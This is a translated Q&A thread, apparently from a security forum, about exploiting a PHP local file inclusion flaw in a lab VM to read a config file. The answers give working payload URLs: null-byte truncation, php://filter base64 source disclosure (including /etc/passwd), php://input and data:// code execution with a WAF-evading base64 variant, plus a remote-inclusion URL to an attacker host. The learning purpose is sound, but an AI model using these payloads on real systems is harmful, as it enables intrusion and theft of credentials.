it-swarm-pt.tech

PHP exploit de segurança - lista de conteúdo de controle remoto PHP Arquivo?

Estou tentando explorar algumas vulnerabilidades da Web em um site de exemplo em execução dentro de um VM (ele não está disponível na Web - apenas para fins educacionais). Eu tenho um arquivo php chamado setupreset.php que tem as informações sobre as configurações do MySQL, configuração e senhas usadas para configurar o site. Este é o mesmo diretório que o resto dos arquivos php (índice, produtos, fórum, etc ...).

Este é o código do index.php, para referência:

<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>

O objetivo principal é listar o conteúdo do arquivo setupreset PHP, ou baixá-lo de alguma forma. Se eu navegar para este arquivo: http://10.211.55.5/index.php?page=setupreset, ele é executado, mas o código PHPnão é naturalmente mostrado, devido ao fato de ser interpretado pelo interpretador PHP.

Agora, o site usa PHP includes, então os URLs são assim: http://10.211.55.5/index.php?page=products. Isso parece ser vulnerável à inclusão de arquivos remotos, onde eu poderia simplesmente apontar para outra página PHP, por exemplo. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php mas allow_url_include é off e não pode ser alterado, portanto, isso não funcionará (tentei isso). No entanto, allow_url_fopen é provável (já que é ativado por padrão), então minha pergunta é a seguinte: é possível fazer upload de um arquivo PHP ou algum script que lista o conteúdo de setupreset.php usando esse tipo de exploração?

7
swiftcode

Se allow_url_include estiver desativado, você não poderá executar o código remoto. Mas você pode encontrar outras páginas, por exemplo, um painel de gerenciamento de conteúdo, para enviar seu código como "imagem" e, em seguida, encontrar o caminho real e include dele.

E ainda há maneiras de explorar.

Vamos olhar dentro do seu código. Você pode perceber que ele adiciona automaticamente uma extensão .php no final do caminho. Então você deve remover php em GET param. Mas e se o arquivo que você deseja incluir não tiver a extensão PHP? Em seguida, use %00 para finalizar a string, como

http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00

Existe um protocolo especial em PHP, poderoso e perigoso. É php://. Você pode verificar o manual oficial para informações detalhadas, e aqui mostrarei alguns casos para fazer com que uma vulnerabilidade de inclusão de arquivos se torne uma revelação de código e até vulnerabilidades de execução remota de código.

Antes do seu teste, eu sugiro que você use Firefox comHackBarplugin. É um poderoso pacote de teste de penetração.

  1. Revelação de fonte

Esse recurso não precisa de inclusão de URL permitido.

php://filter é um tipo de meta-wrapper projetado para permitir a aplicação de filtros em um fluxo no momento da abertura. Isso é útil em funções de arquivo tudo-em-um, como readfile (), file () e file_get_contents (), onde não há oportunidade de aplicar um filtro ao fluxo antes de o conteúdo ser lido. ( Referência )

Então você pode ver a fonte secret.inc.php no mesmo diretório através do seguinte pedido.

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc

demo

O conteúdo do arquivo será codificado em base64, por isso suporta arquivos binários.

É poderoso para obter informações confidenciais, como senhas de banco de dados ou uma chave de criptografia! Se o privilégio não for configurado corretamente, ele poderá até pular fora da gaiola e extrair dados de arquivos em diretórios externos, como /etc/passwd!

  1. Execução remota de código

Na verdade você não pode explorar dessa maneira, porque allow_url_include está desligado neste caso.

Mas devo apontar porque é magical !

É completamente diferente da inclusão local. Não precisa carregar nenhum arquivo para um servidor remoto ou algo assim. Tudo o que você precisa é de um único pedido.

php://input pode acessar o corpo da solicitação HTTP bruta, então o que include("php://input") faz? Basta visitar http://localhost/include.php?page=php://input, com o código válido PHP no corpo da solicitação, então você pode executar qualquer função (permitida) no servidor remoto!

enter image description here

Não esqueça o %00 para soltar .php tail.

Além disso, PHP suporta o esquema de URL data://. Você pode colocar diretamente o código no parâmetro GET! O teste a seguir não precisa de nenhuma ferramenta especial, apenas um navegador normal pode executar um ataque. 

http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>

Alguns Firewalls de Aplicativo da Web podem detectar uma suspeita de string na URL e bloquear uma solicitação mal feita, eles não deixarão a phpinfo sozinha. Existe uma maneira de criptografar? Claro. data:// URL suporta pelo menos codificação base64 ...

http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

E você vai se familiarizar com o phpinfo mais uma vez!

with base64 encoding

Nota

O truque de byte nulo (%00) não funciona mais para PHP> = 5.3.4: http://blog.benjaminwalters.net/?p=22139

33
CodeColorist

Use um diretório transversal e finalize sua string de entrada com um caractere meta %00 NUL (como mencionado em wikipedia ).

http://example.com/index.php?page=setuppreset%00

Isso removerá o sufixo ".php" da inclusão e poderá ajudá-lo de alguma forma.

2
nietonfir

Não é. O arquivo php está sendo executado porque você chama include, se você chamou readfile, file_get_contents ou similar, você pode ver o conteúdo do arquivo php.

0
Evert